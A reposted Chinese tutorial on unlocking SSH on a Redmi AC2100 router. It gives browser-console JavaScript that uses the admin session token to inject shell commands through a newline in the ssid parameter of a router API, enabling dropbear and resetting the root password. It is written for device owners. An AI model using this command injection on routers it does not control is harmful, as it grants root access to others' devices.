Redmi AC2100 路由器 官方固件允许IPv6外网访问下游设备

  • 开启SSH权限。F12打开浏览器的开发者模式,并切换至终端选项卡,复制以下代码至终端处,并敲回车执行:
function getSTOK() {
    let match = location.href.match(/;stok=(.*?)\//);
    if (!match) {
        return null;
    }
    return match[1];
}

function execute(stok, command) {
    command = encodeURIComponent(command);
    let path = /cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A;
    console.log(path);
    return fetch(new Request(location.origin + path));
}

function enableSSH() {
    stok = getSTOK();
    if (!stok) {
        console.error('stok not found in URL');
        return;
    }
    console.log(stok = "${stok}");

    password = prompt('Input new SSH password');
    if (!password) {
        console.error('You must input password');
        return;
    }

    execute(stok,

nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start

    )
        .then((response) => response.text())
        .then((text) => console.log(text));
    console.log('New SSH password: ' + password);
    execute(stok, echo -e "${password}\\n${password}" | passwd root)
        .then((response) => response.text())
        .then((text) => console.log(text));
}

enableSSH();

此时会弹出一个对话框,要求输入密码,请输入并记住这个密码,敲回车提交。

Original: https://www.cnblogs.com/wx2020/p/16028098.html
Author: wx2020
Title: Redmi AC2100 路由器 官方固件允许IPv6外网访问下游设备

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578938/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • SpringBoot进阶教程(六十七)RateLimiter限流

    在上一篇文章nginx限流配置中,我们介绍了如何使用nginx限流,这篇文章介绍另外一种限流方式—RateLimiter。 在早期的计算机领域,限流技术(time li…

    Java 2023年6月8日
    0103
  • Lambda表达式

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Java 2023年6月7日
    093
  • 用1000行代码统计西安新房价格后,我有一个惊人的发现……

    事情是这样的 前段时候,我站在华山之巅(没错,我去夜爬华山看日出了,要死),一个朋友突然问我: 你知道现在西安每个区域的新房均价是多少吗? 这个时候,肯定是用数据说话嘛。 不过你以…

    Java 2023年6月9日
    0104
  • Java注解Annotaton

    1、三种基本的Annotaton @Override : 限定某个方法,是重写父类方法 , 该注解只能用于方法@Deprecated : 用于表示某个程序元素 ( 类 , 方法等 …

    Java 2023年6月5日
    092
  • Java核心技术-内部类(下)

    Day8 局部内部类 优势: 对外部完全隐蔽 可以访问外部类字段和局部变量 package cn.gyk; import javax.swing.*; import java.aw…

    Java 2023年6月5日
    0100
  • 程序员的自我修养一书的学习 页映射

    页映射,弄得不老懂,进程虚拟地址空间 与 磁盘上的目标文件 映射, 进程虚拟地址空间 与 物理内存 映射, 物理内存 与 磁盘上的目标文件 映射, 三方 都互相关联了。 缺页, 进…

    Java 2023年6月13日
    0101
  • 发现一个开源项目优化点,点进来就是你的了

    hello,大家好呀,我是小楼。 最近无聊(摸)闲逛(鱼)github时,发现了一个阿里开源项目可以贡献代码的地方。 不是写单测、改代码格式那种,而是比较有挑战的 &#x6…

    Java 2023年6月6日
    0129
  • 手把手教你如何高效落地多项目管理 | 一看既会

    如何高效落地多项目管理,云效Projex 是新一代企业级研发协作平台,集成了敏捷研发项目管理的最佳实践,提供了针对项目、迭代、需求、缺陷等多个维度的协同管理以及相关的统计报告,让研…

    Java 2023年6月8日
    0111
  • 一个 Java 正则表达式例子

    今天在项目里看到用 Python 正则表达式的时候,用到 group,没有仔细看。正好学习 Java 正则表达式,对 group 多留意了一下。 上代码: 打印: 这里有两个 gr…

    Java 2023年5月29日
    096
  • 分治思维谈管道模式

    本文摘自我的公众号:【陶朱公Boy】。也欢迎大家关注我的公众号,里面有很多优质的文章包括架构、面试、学习方法论等。 文章:《分治思维谈管道模式》 回复关键字” pipe…

    Java 2023年6月15日
    085
  • springboot整合ehcache

    springboot整合ehcache 工具类实现缓存 1. jar包导入 <dependency>   <groupId>org.springf…

    Java 2023年6月9日
    078
  • LeetCode随缘刷题之无重复字符的最长子串

    欢迎评论区交流。 package leetcode.day_12_04; public class LengthOfLongestSubstring0003 { public in…

    Java 2023年6月7日
    0133
  • Typora

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Java 2023年5月29日
    096
  • 循环结构(Java)

    基本介绍 while循环语法 while(&#x5E03;&#x5C14;&#x8868;&#x8FBE;&#x5F0F;){&#x…

    Java 2023年6月9日
    092
  • 设计模式之适配器模式

    本文通过老王使用纸质书籍阅读小王使用电子书籍的故事,详细说明设计模式中的结构型设计模式之适配器模式,分别对对象适配器和类适配器代码实现,最后为了加深理解,会列举适配器设计模式在JD…

    Java 2023年6月8日
    085
  • bilibili弹幕爬虫

    import random import requests import jieba import numpy as np from lxml import etree class…

    Java 2023年6月8日
    0118
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球